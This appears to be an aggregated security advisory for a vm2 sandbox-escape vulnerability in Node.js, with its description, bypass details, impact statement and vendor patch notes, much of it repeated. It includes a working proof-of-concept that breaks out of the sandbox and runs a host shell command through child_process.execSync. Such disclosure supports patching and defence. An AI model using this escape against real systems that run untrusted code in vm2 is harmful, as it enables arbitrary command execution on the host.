CVE-2026-47698

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.

PoC

const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");

async function f() {
  try {
    await WebAssembly.compileStreaming();
  } catch(e) {
    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
  }

  try {
    await WebAssembly.compileStreaming();
  } catch(e) {
    e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
  }
}

f();
`));

Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.

PoC

const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");

async function f() {
  try {
    await WebAssembly.compileStreaming();
  } catch(e) {
    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
  }

  try {
    await WebAssembly.compileStreaming();
  } catch(e) {
    e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
  }
}

f();
`));

Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.

Root has patched CVE-2026-47698 in the vm2 package for Root:npm. Multiple fixed versions available.